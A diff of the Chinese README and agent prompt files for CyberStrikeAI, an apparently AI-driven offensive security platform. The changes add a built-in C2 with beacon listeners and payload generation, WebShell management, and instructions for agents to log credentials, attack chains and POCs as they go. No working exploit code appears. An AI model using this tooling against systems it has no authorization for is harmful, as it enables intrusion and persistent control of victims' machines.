- 🧩 **Agent 编排(CloudWeGo Eino)**:**单代理** `POST /api/eino-agent/stream`(Eino ADK);**多代理** `POST /api/multi-agent/stream`,`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
|
||||
- 🖼️ **视觉分析(`analyze_image`)**:独立 Vision 模型(如 `qwen-vl-max`),MCP 工具分析本地截图/验证码/UI;图片仅在单次 VL 调用中出现,对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
|
||||
- 🎯 **Skills(面向 Eino 重构)**:技能包放在 **`skills_dir`**,遵循 **Agent Skills** 目录规范(`SKILL.md` + 可选文件);**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**(按 name 加载)。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖;**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
|
||||
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md))
|
||||
- 🧑⚖️ **人机协同(HITL)**:对话页侧栏配置协同模式与免审批工具白名单;全局列表在 `config.yaml` 的 `hitl.tool_whitelist`;点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效;导航 **人机协同** 页处理待审批工具调用
|
||||
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
|
||||
- 📡 **内置 C2**:面向 AI 协同的轻量 **C2**——**多种监听器**(TCP 反向、HTTP/HTTPS Beacon、WebSocket)、**加密** Beacon 信道、**会话与任务**队列及持久化、**Payload** 辅助(一键命令 / 构建 / 下载)、**SSE** 实时事件、REST(`/api/c2/*`)及智能体侧 **一组 C2 MCP 工具**(如 `c2_listener`、`c2_session`、**`c2_task`**、`c2_task_manage`、`c2_payload`、`c2_event`、`c2_profile`、`c2_file`);敏感操作可对接 **人机协同(HITL)**,并支持 OPSEC 类规则(如命令拒绝正则)。**仅限授权测试。**
|
||||
|
||||
## 插件(Plugins)
|
||||
|
||||
@@ -172,9 +175,11 @@ chmod +x run.sh && ./run.sh
|
||||
- ✅ 编译构建项目
|
||||
- ✅ 启动服务器
|
||||
|
||||
**网络默认:** `run.sh` 会以 **`--https`** 并传入项目根 **`config.yaml`** 启动(本机自签证书,多路流式场景更稳)。只要明文 HTTP 用 **`./run.sh --http`**。生产环境在 **`config.yaml`** 的 **`server.tls_cert_path` / `server.tls_key_path`** 配正式证书(见文件内注释)。手动启动可加 **`--https`** 或环境变量 **`CYBERSTRIKE_HTTPS=1`**;`-config` 写错时程序会在终端提示正确写法。
|
||||
|
||||
**首次配置:**
|
||||
1. **配置 AI 模型 API**(首次使用前必填)
|
||||
- 启动后访问 http://localhost:8080
|
||||
- 启动后在浏览器打开 **`https://127.0.0.1:8080/`**(或 **`https://localhost:8080/`**;端口以 `config.yaml` 中 **`server.port`** 为准,默认 8080),并按提示信任自签证书。若使用 **`./run.sh --http`**,则改用 **`http://`** 访问。
|
||||
- 进入 `设置` → 填写 API 配置信息:
|
||||
```yaml
|
||||
openai:
|
||||
@@ -195,20 +200,22 @@ chmod +x run.sh && ./run.sh
|
||||
|
||||
**其他启动方式:**
|
||||
```bash
|
||||
# 直接运行(需手动配置环境)
|
||||
go run cmd/server/main.go
|
||||
# 直接运行(需自行配环境);与 run.sh 默认一致可加 --https
|
||||
go run cmd/server/main.go --https
|
||||
|
||||
# 手动编译
|
||||
go build -o cyberstrike-ai cmd/server/main.go
|
||||
./cyberstrike-ai
|
||||
./cyberstrike-ai --https
|
||||
```
|
||||
|
||||
若日志出现 `client sent an HTTP request to an HTTPS server`,说明仍有客户端用 **`http://`** 访问只提供 HTTPS 的端口,请改为 **`https://`**。
|
||||
|
||||
**说明:** Python 虚拟环境(`venv/`)由 `run.sh` 自动创建和管理。需要 Python 的工具(如 `api-fuzzer`、`http-framework-test` 等)会自动使用该环境。
|
||||
|
||||
### CyberStrikeAI 版本更新(无兼容性问题)
|
||||
|
||||
1. (首次使用)启用脚本:`chmod +x upgrade.sh`
|
||||
2. 一键升级:`./upgrade.sh`(可选参数:`--tag vX.Y.Z`、`--no-venv`、`--preserve-custom`、`--yes`)
|
||||
2. 一键升级:`./upgrade.sh`(可选参数:`--tag vX.Y.Z`、`--no-venv`、`--yes`)。本地的 `tools/`、`roles/`、`skills/` 会始终保留不被覆盖。
|
||||
3. 脚本会备份你的 `config.yaml` 和 `data/`,从 GitHub Release 升级代码,更新 `config.yaml` 的 `version` 字段后重启服务。
|
||||
|
||||
推荐的一键指令:
|
||||
@@ -227,7 +234,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
|
||||
### 常用流程
|
||||
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
|
||||
- **单代理 / 多代理**:`multi_agent.enabled: true` 后可在聊天中切换 **单代理**(原有 **ReAct**,`/api/agent-loop/stream`)与 **多代理**(`/api/multi-agent/stream`)。多代理在既有 **`deep`**(`task` 子代理)基础上,新增 **`plan_execute`**、**`supervisor`**,由 **`orchestration`** 指定。MCP 工具与单代理同源桥接。
|
||||
- **单代理 / 多代理**:聊天可选 **Eino 单代理**(`/api/eino-agent/stream`)与 **多代理**(`/api/multi-agent/stream` + `orchestration`)。多代理需 `multi_agent.enabled: true`。MCP 工具桥接一致。
|
||||
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
|
||||
- **工具监控**:查看任务队列、执行日志、大文件附件。
|
||||
- **会话历史**:所有对话与工具调用保存在 SQLite,可随时重放。
|
||||
@@ -235,6 +242,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **漏洞管理**:在测试过程中创建、更新和跟踪发现的漏洞。支持按严重程度(严重/高/中/低/信息)、状态(待确认/已确认/已修复/误报)和对话进行过滤,查看统计信息并导出发现。
|
||||
- **批量任务管理**:创建任务队列,批量添加多个任务,执行前可编辑或删除任务,然后依次顺序执行。每个任务会作为独立对话执行,支持完整的状态跟踪(待执行/执行中/已完成/失败/已取消)和执行历史。
|
||||
- **WebShell 管理**:添加并管理 WebShell 连接(PHP/ASP/ASPX/JSP 或自定义类型)。使用虚拟终端执行命令(带命令历史与快捷命令),使用文件管理浏览、读取、编辑、上传与删除目标文件,并支持按路径导航和名称过滤。连接信息持久化存储于 SQLite,支持 GET/POST 及可配置命令参数(兼容冰蝎/蚁剑等)。
|
||||
- **内置 C2**:在 Web 界面或 `/api/c2/*` 创建/启动 **监听器**、生成 **Payload**、查看 **会话**、下发 **任务** 并订阅 **事件(SSE)**。智能体与外部客户端通过 **C2 MCP 工具族**(含 **`c2_task`** 等)编排;开启人机协同时,高风险任务可走审批。**仅用于已获明确授权的目标。**
|
||||
- **可视化配置**:在界面中切换模型、启停工具、设置迭代次数等。
|
||||
- **人机协同(HITL)**:侧栏设置协同模式与免审批工具(逗号或换行);全局白名单见 `config.yaml` 的 `hitl.tool_whitelist`。点「**应用**」可写浏览器/服务端并合并新增工具进配置(**无需重启**)。**新对话**保留侧栏选择;导航 **人机协同** 处理待审批。从侧栏删掉工具不会自动从配置文件移除全局项,需手改 `config.yaml`。
|
||||
|
||||
@@ -250,7 +258,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
|
||||
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
|
||||
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
|
||||
- **Skills**:技能包位于 `skills_dir`;**多代理 / Eino** 下由 **`skill`** 工具 **按需加载**(渐进式披露)。**`multi_agent.eino_skills`** 控制中间件与本机 read_file/glob/grep/write/edit/execute(**Deep / Supervisor** 主/子代理;**plan_execute** 执行器无独立 skill 中间件,见文档)。**单代理 ReAct** 当前不挂载该 Eino skill 链。
|
||||
- **Skills**:技能包位于 `skills_dir`;启用 **`multi_agent.eino_skills`** 后,**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
|
||||
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
|
||||
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
|
||||
|
||||
@@ -270,14 +278,14 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
|
||||
|
||||
### 多代理模式(Eino:Deep / Plan-Execute / Supervisor)
|
||||
- **能力说明**:与 **单代理 ReAct** 并存的可选路径,基于 CloudWeGo **Eino** `adk/prebuilt`:**`deep`** — 协调主代理 + **`task`** 子代理;**`plan_execute`** — 规划 / 执行 / 重规划闭环(不使用 YAML/Markdown 子代理列表);**`supervisor`** — 主代理 **`transfer`** / **`exit`** 调度 Markdown 专家。客户端通过 **`orchestration`** 选 `deep` | `plan_execute` | `supervisor`(缺省 `deep`)。
|
||||
- **能力说明**:在 **Eino 单代理**(`/api/eino-agent*`)之外,多代理基于 CloudWeGo **Eino** `adk/prebuilt`:**`deep`**、**`plan_execute`**、**`supervisor`**;客户端 **`orchestration`** 选择(缺省 `deep`)。
|
||||
- **Markdown 定义**(`agents_dir`,默认 `agents/`):
|
||||
- **Deep 主代理**:`orchestrator.md` 或唯一 `kind: orchestrator` 的 `.md`;正文或 `multi_agent.orchestrator_instruction`,再回退 Eino 默认。
|
||||
- **Plan-Execute 主代理**:固定 **`orchestrator-plan-execute.md`**(另可配 `orchestrator_instruction_plan_execute`)。
|
||||
- **Supervisor 主代理**:固定 **`orchestrator-supervisor.md`**(另可配 `orchestrator_instruction_supervisor`);至少需一名子代理。
|
||||
- **子代理**(**deep** / **supervisor**):其余 `*.md`;标成 orchestrator 的不会进入 `task` 列表。
|
||||
- **界面管理**:**Agents → Agent 管理**;API `/api/multi-agent/markdown-agents`。
|
||||
- **配置项**:`multi_agent`:`enabled`、`default_mode`、`robot_use_multi_agent`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并(同 `id` → Markdown 优先)、**`eino_skills`**、**`eino_middleware`**。
|
||||
- **配置项**:`multi_agent`:`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并(同 `id` → Markdown 优先)、**`eino_skills`**、**`eino_middleware`**。
|
||||
- **更多细节**:[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)(流式、机器人、批量、中间件差异)。
|
||||
|
||||
### Skills 技能系统(Agent Skills + Eino)
|
||||
@@ -317,6 +325,12 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **连通性测试**:使用 **测试连通性** 可在执行命令前通过一次 `echo 1` 调用校验 Shell 地址、密码与命令参数是否正确。
|
||||
- **持久化**:所有 WebShell 连接与相关 AI 会话均保存在 SQLite(与对话共用数据库),服务重启后仍可继续使用。
|
||||
|
||||
### 内置 C2(Command & Control)
|
||||
- **定位**:平台内置的 **AI 原生** C2 能力栈——监听器接入植入体(Beacon),服务端以 SQLite 持久化 **会话** 与 **任务**,通过 **事件总线** 推送变更(含 **SSE**),并由鉴权后的 **REST** 与 MCP 统一对外。
|
||||
- **监听器与传输**:支持 `tcp_reverse`、`http_beacon`、`https_beacon`、`websocket`;按监听器独立密钥;数据库中标记为运行中的监听器可在 **服务重启后尝试恢复**。
|
||||
- **与智能体联动**:通过 **`c2_task` 等 C2 MCP 工具** 与现有对话/多代理工具链协同;在会话策略需要时,危险任务类型可走既有 **人机协同(HITL)** 审批流。
|
||||
- **安全提示**:**仅**在实验环境或 **已获完整书面授权** 的对抗演练中使用;结合网络隔离、强鉴权及 HITL/白名单等策略管控风险。
|
||||
|
||||
### MCP 全场景
|
||||
- **Web 模式**:自带 HTTP MCP 服务供前端调用。
|
||||
- **MCP stdio 模式**:`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
|
||||
@@ -474,6 +488,7 @@ CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器:
|
||||
- **漏洞管理 API**:通过 `/api/vulnerabilities` 端点管理漏洞:`GET /api/vulnerabilities`(列表,支持过滤)、`POST /api/vulnerabilities`(创建)、`GET /api/vulnerabilities/:id`(获取)、`PUT /api/vulnerabilities/:id`(更新)、`DELETE /api/vulnerabilities/:id`(删除)、`GET /api/vulnerabilities/stats`(统计)。
|
||||
- **批量任务 API**:通过 `/api/batch-tasks` 端点管理批量任务队列:`POST /api/batch-tasks`(创建队列)、`GET /api/batch-tasks`(列表)、`GET /api/batch-tasks/:queueId`(获取队列)、`POST /api/batch-tasks/:queueId/start`(开始执行)、`POST /api/batch-tasks/:queueId/cancel`(取消)、`DELETE /api/batch-tasks/:queueId`(删除队列)、`POST /api/batch-tasks/:queueId/tasks`(添加任务)、`PUT /api/batch-tasks/:queueId/tasks/:taskId`(更新任务)、`DELETE /api/batch-tasks/:queueId/tasks/:taskId`(删除任务)。任务依次顺序执行,每个任务创建独立对话,支持完整状态跟踪。
|
||||
- **WebShell API**:通过 `/api/webshell/connections`(GET 列表、POST 创建、PUT 更新、DELETE 删除)及 `/api/webshell/exec`(执行命令)、`/api/webshell/fileop`(列出/读取/写入/删除文件)管理 WebShell 连接与执行操作。
|
||||
- **C2 API**:在 `/api/c2/*` 管理监听器、会话、任务、Payload、文件与事件(如监听器增删改查/启停、会话休眠、任务创建/取消/等待、Payload 构建/下载、事件流等)。
|
||||
- **任务控制**:支持暂停/终止长任务、修改参数后重跑、流式获取日志。
|
||||
- **安全管理**:`/api/auth/change-password` 可即时轮换口令;建议在暴露 MCP 端口时配合网络层 ACL。
|
||||
|
||||
@@ -520,8 +535,8 @@ skills_dir: "skills" # Skills 目录(相对于配置文件所在目录)
|
||||
agents_dir: "agents" # 多代理 Markdown(主代理 orchestrator.md + 子代理 *.md)
|
||||
multi_agent:
|
||||
enabled: false
|
||||
default_mode: "single" # single | multi(开启多代理时的界面默认模式)
|
||||
robot_use_multi_agent: false
|
||||
default_mode: "eino_single" # eino_single | multi(开启多代理时的界面默认模式)
|
||||
robot_default_agent_mode: eino_single
|
||||
batch_use_multi_agent: false
|
||||
orchestrator_instruction: "" # Deep;orchestrator.md 正文为空时使用
|
||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
|
||||
@@ -579,7 +594,7 @@ enabled: true
|
||||
```
|
||||
CyberStrikeAI/
|
||||
├── cmd/ # Web 服务、MCP stdio 入口及辅助工具
|
||||
├── internal/ # Agent、MCP 核心、路由与执行器
|
||||
├── internal/ # Agent、MCP 核心、路由、C2(`internal/c2`)与执行器
|
||||
├── web/ # 前端静态资源与模板
|
||||
├── tools/ # YAML 工具目录(含 100+ 示例)
|
||||
├── roles/ # 角色配置文件目录(含 12+ 预设安全测试角色)
|
||||
|
||||
@@ -61,4 +61,8 @@ max_iterations: 0
|
||||
5) Follow-up Verification Plan(后续验证建议)
|
||||
- 对每个优先条目:建议由哪个阶段子代理接手、需要补测的最小证据集
|
||||
|
||||
输出后直接结束。遇到证据不足的条目标注为“需要补证据”。
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
输出后直接结束。遇到证据不足的条目标注为“需要补证据”。
|
||||
|
||||
@@ -51,4 +51,8 @@ max_iterations: 0
|
||||
- 可能仍残留的风险类别与建议监控方式(只做高层建议)
|
||||
|
||||
4) Handoff to Reporting(交接给报告的要点)
|
||||
- 报告里应包含哪些字段以证明“合规清理”。
|
||||
- 报告里应包含哪些字段以证明“合规清理”。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -61,4 +61,8 @@ max_iterations: 0
|
||||
5) Open Questions(待澄清问题)
|
||||
- 不足以继续的关键问题(尽量少而关键)
|
||||
|
||||
当你完成以上输出时,直接停止;不要向协调主代理以外的人解释过多背景。将所有不确定性标注为“需要补证据/需要澄清”。
|
||||
当你完成以上输出时,直接停止;不要向协调主代理以外的人解释过多背景。将所有不确定性标注为“需要补证据/需要澄清”。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -50,4 +50,8 @@ max_iterations: 0
|
||||
- 你要求执行的最小化原则(如不导出明文敏感字段、不保留原始样本等,用描述性语言)
|
||||
|
||||
4) Recommended Next Agent(下一步建议)
|
||||
- 建议交给 `reporting-remediation` 和 `cleanup-rollback` 的证据输入要点。
|
||||
- 建议交给 `reporting-remediation` 和 `cleanup-rollback` 的证据输入要点。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -32,3 +32,7 @@ max_iterations: 0
|
||||
- 优先用工具拿可验证事实,标注信息来源与置信度;避免无依据推测。
|
||||
- 输出结构化(目标、发现项、证据摘要、建议后续动作),便于协调者合并进总报告。
|
||||
- 不执行未授权的入侵或社工骚扰;双用途技术仅用于甲方书面授权场景。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -32,3 +32,7 @@ max_iterations: 0
|
||||
- 聚焦:内网拓扑与关键资产推断、凭据与令牌利用、常见横向协议与服务、权限路径与域/云环境注意事项(在工具与可见数据范围内)。
|
||||
- 每一步说明假设前提与证据;禁止对未授权网段、生产无关系统或真实用户数据进行操作。
|
||||
- 输出结构化:当前据点能力、发现的主机/服务、建议的下一步(可交给其他子代理或主代理编排)、风险与回滚注意点。
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -51,4 +51,8 @@ max_iterations: 0
|
||||
- 建议记录哪些证据字段(时间戳、目标、请求摘要、响应摘要、变更清单、回滚确认)
|
||||
|
||||
4) Stop & Rollback Criteria(停止与回滚标准)
|
||||
- 触发阈值/不可控情况(用描述性语言即可)
|
||||
- 触发阈值/不可控情况(用描述性语言即可)
|
||||
|
||||
## 边渗透边记录
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。
|
||||
|
||||
@@ -102,10 +102,34 @@ description: plan_execute 模式下的规划/重规划侧主代理:拆解目
|
||||
|
||||
当工具返回错误时,错误信息会包含在工具响应中,请仔细阅读并做出合理的决策。
|
||||
|
||||
## 证据与漏洞
|
||||
## 证据、黑板与漏洞
|
||||
|
||||
- 要求结论有证据支撑(请求/响应、命令输出、可复现步骤);禁止无依据的确定断言。
|
||||
- 发现有效漏洞时,在后续轮次通过 **`record_vulnerability`** 记录(标题、描述、严重程度、类型、目标、POC、影响、修复建议;级别 critical / high / medium / low / info)。
|
||||
|
||||
## 项目黑板(事实)与漏洞记录(分离)
|
||||
|
||||
当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 `fact_key` + 摘要)。**摘要不足时必须调用 `get_project_fact(fact_key)` 获取 body,禁止凭摘要臆造细节。**
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。委派/子任务返回新认知或漏洞时,由协调者及时写入,勿假定子代理已记。
|
||||
|
||||
- **环境/目标/认证等认知**(非正式漏洞):使用 **`upsert_project_fact`**,`fact_key` 建议 `category/slug`(如 `target/primary_domain`),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。
|
||||
- **发现与利用上下文**(审计复现):`fact_key` 建议 `finding/`、`chain/`、`exploit/`、`poc/` 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 `related_vulnerability_id`),**禁止仅写结论**;summary 写「什么 + 在哪 + 如何验证」一行要点。
|
||||
- **可交付漏洞**:使用 **`record_vulnerability`**(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度 critical / high / medium / low / info。
|
||||
- 同一发现可能需**各记一次**(事实记可复现攻击链,漏洞记正式 findings)。误报用 **`deprecate_project_fact`** 或漏洞状态 false_positive。
|
||||
- 事实多时用 **`list_project_facts`** / **`search_project_facts`** 检索。
|
||||
- **计划步骤须要求执行器落库**:不得在计划中写「会话结束再记录」;每步成功标准应包含「已 upsert 事实或已 record 漏洞(或已输出待落库块)」。
|
||||
|
||||
### 事实写入规范(审计复现 / 知识沉淀)
|
||||
|
||||
- **summary**:索引用一行,须含「什么 + 在哪 + 如何触发/验证」要点,禁止只写结论(如仅写「存在 SQLi」)。
|
||||
- **body**:完整可复现上下文,写入 `upsert_project_fact` 的 body 字段;索引不含 body,后续会话须靠 `get_project_fact` 取回。
|
||||
- **category / fact_key 建议**:
|
||||
- 环境认知:`target/`、`auth/`、`infra/`、`business/`(body 用环境模板即可)
|
||||
- 发现与利用:`finding/`、`chain/`、`exploit/`、`poc/`(**必须**用攻击链模板填满 body:入口、逐步攻击链、原始请求/响应或命令、证据、关联漏洞 ID)
|
||||
- **与漏洞记录分工**:`record_vulnerability` 记可交付 findings;事实记**复现所需的全部上下文**(含失败尝试、绕过、依赖会话),二者可各记一次。
|
||||
- 更新同一发现时保持相同 `fact_key` 覆盖写入,勿散落多个 key 导致上下文丢失。
|
||||
|
||||
严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。
|
||||
|
||||
## 执行器对用户输出(重要)
|
||||
|
||||
|
||||
@@ -97,6 +97,7 @@ description: supervisor 模式下的协调者:通过 transfer 委派专家子
|
||||
- **`transfer` 交接包(强制,避免专家重复侦察)**:**把专家当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 在触发 `transfer` 的**同一条助手正文**中写清(勿仅依赖历史里的长工具输出;摘要后专家可能看不到细节):
|
||||
- **已知资产/结论摘要**(主域、关键子域、高价值目标、已开放端口或服务类型等)。
|
||||
- **本轮唯一任务**与 **禁止项**(例如:「不得再做全量子域枚举;仅对下列主机做 MQTT 验证」)。
|
||||
- **图片/验证码(若有)**:本地绝对路径 + 期望输出格式(如验证码「只输出字符」);专家默认看不到父对话识图结果,须在交接正文中写明。
|
||||
- **专家类型**:验证/利用/协议分析派对应专家,**避免**把「仅差验证」的工作交给 `recon` 导致其按习惯从侦察阶段重来。
|
||||
- **transfer 前目标完整性校验(强制)**:在 `transfer` 前必须具备并显式写入:
|
||||
- 目标标识:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
||||
@@ -117,9 +118,29 @@ description: supervisor 模式下的协调者:通过 transfer 委派专家子
|
||||
3. 期望交付物是否可验收(例如:可复现命令、截图要点、结论段落)?
|
||||
4. 是否已明确写出 URL/IP:Port/域名路径与 in-scope 边界(而非“按上文继续”)?
|
||||
|
||||
## 漏洞
|
||||
## 项目黑板(事实)与漏洞记录(分离)
|
||||
|
||||
有效漏洞应通过 **`record_vulnerability`** 记录(含 POC 与严重性)。
|
||||
当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 `fact_key` + 摘要)。**摘要不足时必须调用 `get_project_fact(fact_key)` 获取 body,禁止凭摘要臆造细节。**
|
||||
|
||||
- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。委派/子任务返回新认知或漏洞时,由协调者及时写入,勿假定子代理已记。
|
||||
|
||||
- **环境/目标/认证等认知**(非正式漏洞):使用 **`upsert_project_fact`**,`fact_key` 建议 `category/slug`(如 `target/primary_domain`),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。
|
||||
- **发现与利用上下文**(审计复现):`fact_key` 建议 `finding/`、`chain/`、`exploit/`、`poc/` 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 `related_vulnerability_id`),**禁止仅写结论**;summary 写「什么 + 在哪 + 如何验证」一行要点。
|
||||
- **可交付漏洞**:使用 **`record_vulnerability`**(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度 critical / high / medium / low / info。
|
||||
- 同一发现可能需**各记一次**(事实记可复现攻击链,漏洞记正式 findings)。误报用 **`deprecate_project_fact`** 或漏洞状态 false_positive。
|
||||
- 事实多时用 **`list_project_facts`** / **`search_project_facts`** 检索。
|
||||
|
||||
### 事实写入规范(审计复现 / 知识沉淀)
|
||||
|
||||
- **summary**:索引用一行,须含「什么 + 在哪 + 如何触发/验证」要点,禁止只写结论(如仅写「存在 SQLi」)。
|
||||
